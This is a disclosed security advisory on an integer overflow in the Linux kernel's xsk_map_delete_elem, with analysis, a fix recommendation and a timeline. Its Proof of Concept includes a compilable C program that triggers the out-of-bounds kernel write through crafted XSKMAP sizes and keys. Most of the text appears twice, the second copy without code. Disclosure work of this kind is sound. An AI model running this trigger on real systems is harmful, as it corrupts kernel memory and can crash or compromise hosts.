Summary
AF_XDP sockets provide a high-performance mechanism for packet processing within the kernel. This bug report describes an integer overflow vulnerability in the xsk_map_delete_elem
(function) when handling eBPF (XSK) maps, potentially leading to an out-of-bounds write and subsequent security risks.
Severity
Moderate - This vulnerability can allow an attacker to This could allow them to hijack the control flow of the kernel and execute arbitrary code with kernel privilege and or a denial of service.
Proof of Concept
In the xsk_map_delete_elem
function an unsigned integer (map->max_entries
) is compared with a user-controlled signed integer (k
). Due to implicit type conversion, a large unsigned value for map->max_entries
can bypass the intended bounds check:
if (k >= map->max_entries)
return -EINVAL;
This allows k to hold a negative value (between -2147483648 and -2), which is then used as an array index in m->xsk_map[k]
, which results in an out-of-bounds access.
spin_lock_bh(&m->lock);
map_entry = &m->xsk_map[k]; // Out-of-bounds map_entry
old_xs = unrcu_pointer(xchg(map_entry, NULL)); // Oob write
if (old_xs)
xsk_map_sock_delete(old_xs, map_entry);
spin_unlock_bh(&m->lock);
The xchg
operation can then be used to cause an out-of-bounds write. Moreover, the invalid map_entry
passed to xsk_map_sock_delete
can lead to further memory corruption.
// compile with gcc -o map_poc map_poc.c -lbpf
#include <errno.h>
#include <linux/bpf.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>
int main() {
// Create a large enough BPF XSK map
int map_fd;
union bpf_attr create_attr = {
.map_type = BPF_MAP_TYPE_XSKMAP,
.key_size = sizeof(int),
.value_size = sizeof(int),
.max_entries = 0x80000000 + 2,
};
map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &create_attr, sizeof(create_attr));
if (map_fd < 0) {
fprintf(stderr, "Failed to create BPF map: %s\n", strerror(errno));
return 1;
}
// Delete an element from the map using syscall
unsigned int key = 0x80000000 + 1;
if (syscall(SYS_bpf, BPF_MAP_DELETE_ELEM,
&(union bpf_attr){
.map_fd = map_fd,
.key = &key,
},
sizeof(union bpf_attr)) < 0) {
fprintf(stderr, "Failed to delete element from BPF map: %s\n",
strerror(errno));
return 1;
}
close(map_fd);
return 0;
}
Further Analysis
To create an XSK map and delete elements from it a user typically requires the CAP_BPF
capability. This capability grants the necessary privileges to load eBPF programs, create and manage BPF maps, and perform operations on them.
It's important to note that unprivileged users might still be able to exploit this vulnerability if they have access to:
A program or process that already has CAP_BPF
: If a vulnerable program with CAP_BPF
allows user input to influence the delete_elem
functions, an unprivileged user could potentially exploit the integer overflow.
Recommendation
Change the data type of k to u32 to ensure consistent unsignedness in the comparison. This will prevent the negative overflow from bypassing the bounds check.
Timeline
Date reported: 10/30/2024
Date fixed: 12/10/2024
Date disclosed: 01/09/2025
Summary
AF_XDP sockets provide a high-performance mechanism for packet processing within the kernel. This bug report describes an integer overflow vulnerability in the
xsk_map_delete_elem
(function) when handling eBPF (XSK) maps, potentially leading to an out-of-bounds write and subsequent security risks.Severity
Moderate - This vulnerability can allow an attacker to This could allow them to hijack the control flow of the kernel and execute arbitrary code with kernel privilege and or a denial of service.
Proof of Concept
In the
xsk_map_delete_elem
function an unsigned integer (map->max_entries
) is compared with a user-controlled signed integer (k
). Due to implicit type conversion, a large unsigned value formap->max_entries
can bypass the intended bounds check:This allows k to hold a negative value (between -2147483648 and -2), which is then used as an array index in
m->xsk_map[k]
, which results in an out-of-bounds access.The
xchg
operation can then be used to cause an out-of-bounds write. Moreover, the invalidmap_entry
passed toxsk_map_sock_delete
can lead to further memory corruption.Further Analysis
To create an XSK map and delete elements from it a user typically requires the
CAP_BPF
capability. This capability grants the necessary privileges to load eBPF programs, create and manage BPF maps, and perform operations on them.It's important to note that unprivileged users might still be able to exploit this vulnerability if they have access to:
A program or process that already has
CAP_BPF
: If a vulnerable program withCAP_BPF
allows user input to influence thedelete_elem
functions, an unprivileged user could potentially exploit the integer overflow.Recommendation
Change the data type of k to u32 to ensure consistent unsignedness in the comparison. This will prevent the negative overflow from bypassing the bounds check.
Timeline
Date reported: 10/30/2024
Date fixed: 12/10/2024
Date disclosed: 01/09/2025